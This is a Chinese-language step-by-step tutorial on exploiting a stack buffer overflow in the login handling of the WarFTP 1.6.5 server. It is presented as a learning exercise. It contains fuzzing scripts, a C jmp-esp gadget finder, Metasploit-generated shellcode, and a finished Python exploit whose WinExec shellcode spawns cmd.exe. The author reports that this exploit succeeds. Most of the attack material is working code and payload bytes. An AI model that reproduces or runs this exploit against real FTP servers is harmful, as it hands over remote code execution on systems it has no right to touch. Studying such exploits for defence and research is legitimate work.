说明:
warftp 是简易ftp,非常实用,在1.6.5 存在堆栈溢出漏洞,是一个很好的学习教程。
软件下载:
http://www.warftp.org/files/1.6_Series/ward165.exe
软件安装:
双击运行,该软件,就会解压缩,获得一个目录。
测试代码:
python版本
from ftplib import FTP ftp = FTP('127.0.0.1') ftp.login('A' * 500, 'www')
发送请求:
查看warftp 状态 没有变化。还可以使用(由于warftp是多线程的,只是导致当前线程崩溃)
od调试:
od 附加当前运行的warftp,再次发送python测试代码。
在od中可以看到EIP指向了41414141,(41为用户输入的A字符,说明该软件存在漏洞,可以控制EIP地址)
漏洞利用:
1. 精确定位溢出点位置
上一步显示500个A,已经溢出覆盖了返回地址,
因此进一步确定百位是多少? 构造代码如下:
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 ftp.login(s, 'ww')
每个字符,重复100次,这样,输入的格式为100个A,后面100个B,依次类推
在次运行war ftpd软件,点击左上脚的标识,表示开启监听。
使用od附加warftp进程,如下图所示
点击F9,继续运行
在命令行执行构造好的python脚本,发送请求测试,发现EIP指向45454545
0x45 是 E, E-A = 4, 即是400多的地方到达异常点,可以定位溢出数据的百位是4.
定位溢出的十位是多少?
百位已经确定,因此前面400个A,后面进行十位进行差异化,构造如下数据包
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') #s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 ftp.login(s, 'ww')
重新运行软件,看一下,结果
这次是49494949到达了溢出点,49-41 = 8 ,因此,可以定位到十位是80.
定位个位位置:
继续修改代码,如下所示:
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') #s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 #s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 s = 'A' * 480 + 'ABCDEFGHIJ' ftp.login(s, 'ww')
重启程序,发送请求包,结果如下:
这次是49484746到达溢出点,所以个位是0x46 - 0x41 = 5, 综合前面定位的百位和十位,得出的结果为 400 + 80 + 5 = 485
验证推断是否正确,把485的地方改成BBBB,其余位置改为AAAA, 修改程序如下:
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') #s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 #s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 #s = 'A' * 480 + 'ABCDEFGHIJ' s = 'A' * 485 + 'BBBB' + 'AAAA' ftp.login(s, 'ww')
可以确定,EIP指向了BBBB,与分析的结果一样
2. 查找jmp esp位置
堆栈溢出,下一步查找jmp esp位置,本文使用通用的jmp esp地址 0x7ffa4512, 使用od附加warftp后,跳转到该地址进行查看
在本次测试环境,确实0x7ffa4512 对应 jmp esp指令。但这个地址是在map中,因此没有办法设置断点。为了便于调试,在dll中查找一个jmp esp
地址。
#include<windows.h> #include<iostream.h> #include<tchar.h> int getJmpEsp(TCHAR *ucDllName) { HINSTANCE h; h = GetModuleHandle(ucDllName); //从当前进程获得dll的起始位置 if(h == NULL) { h = LoadLibrary(ucDllName); //若当前进程没有导入dll 则加载dll 到当前进程,并且记录起始位置 if(h == NULL) { cout<<"ERROR LOADING DLL:"<<ucDllName<<endl; return -1; } } BYTE* ptr=(BYTE*)h; bool done=false; for(int y=0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) // jmp esp对应的机器码 为FF E4, 进行查找 { int pos=(int)ptr + y; //找到jmp esp地址后,则加上起始地址,为jmp esp 在内存的绝对地址 cout<<"OPCODE found at 0x"<<hex<<pos<<endl; //输出jmp esp的地址 } }catch(...) { cout<<"END OF "<<ucDllName<<" MEMORY REACHED"<<endl; done=true; } } FreeLibrary(h); return 0; } int main() { getJmpEsp("ntdll"); //从ntdll.dll 查找jmp esp地址 getJmpEsp("kernel32"); //从kernel32.dll 查找jmp esp地址 return 0; }
执行之后获得的jmp esp地址: 0x7c86467b
3. Shellcode 开发
直接使用bt5 生成一个弹对话框的shellcode,如下所示:
root@bt:~# msfpayload -h Usage: /opt/metasploit/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]> OPTIONS: -h Help banner -l List available payloads root@bt:~# msfpayload windows/messagebox N # windows/messagebox - 270 bytes # http://www.metasploit.com # VERBOSE=false, PrependMigrate=false, EXITFUNC=process, # TITLE=MessageBox, TEXT=Hello, from MSF!, ICON=NO buf = "" buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52" buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a" buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68" buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c" buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53" buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
注意这里生成的是python使用的shellcode,因此参数是N.
利用代码:
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') #s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 #s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 buf = 'A' * 485 + '\x7b\x46\x86\x7c' buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52" buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a" buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68" buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c" buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53" buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" ftp.login(buf, 'ww')
重启ftp程序使用od 附加进程,由于使用0x7c86467b做为跳转地址,因此,我们在该地址设置断点,如下图所示:
发送payload,查看od运行情况。当控制eip后跳转到0x7c86467b时,状态情况
当前esp地址 0x00AEFD48 内容是0x7424f431,但是我们发送的shellcode是\xd9\xeb\x9b\xd9 开始的,跳过了4个字节。
单步执行一次,完成jmp esp,跳转到堆栈空间执行
继续执行导致shellcode执行异常而推出。
可以看出,堆栈空间被多跳过4个字节,因此需要在shellcode前多增加4个字节,作为占位,修改后shellcode布局如下:
buf = 'A' * 485 + '\x7b\x46\x86\x7c' + 'B' * 4 #多增加4个B buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9" buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52" buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67" buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a" buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68" buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c" buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53" buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
重新运行程序,成功跳转到shellcode位置
继续执行,发现还是不能成功,详细分析shellcode发现,shellcode被截断了。
对比shellcode与内存中保存的布局
发现只保存了一半shellcode,其它的shellcode并不在内存中,因此无法利用成功。应该是warftp对用户输入的字符串长度进行了限制所致。
为了验证漏洞,所以首先找一个简短的shellcode,进行验证。执行winexec的shellcode代码如下,其中0x751f3231是WinExec的地址
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45" "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6" "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78" "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA" "\x31\x32\x1F\x75" "\xFF\xD2\xC9"
根据系统不同进行替换,查找本系统的WinExec的地址,直接在od中跳转到该WinExec(ctrl+G -> 输入WinExec即可)
所以,WinExec地址为0x7c8623AD,完整的payload如下
from ftplib import FTP ftp = FTP('127.0.0.1') #ftp.login('A' * 500, 'ww') #s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100 #s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 buf = 'A' * 485 + '\x7b\x46\x86\x7c' + 'B' * 4 buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45" buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6" buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78" buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA" buf += "\xad\x23\x86\x7c" buf += "\xFF\xD2\xC9" ftp.login(buf, 'ww')
跳转到shellcode地址
继续执行,WinExec(cmd.exe)
继续执行,弹出cmd
证明,利用成功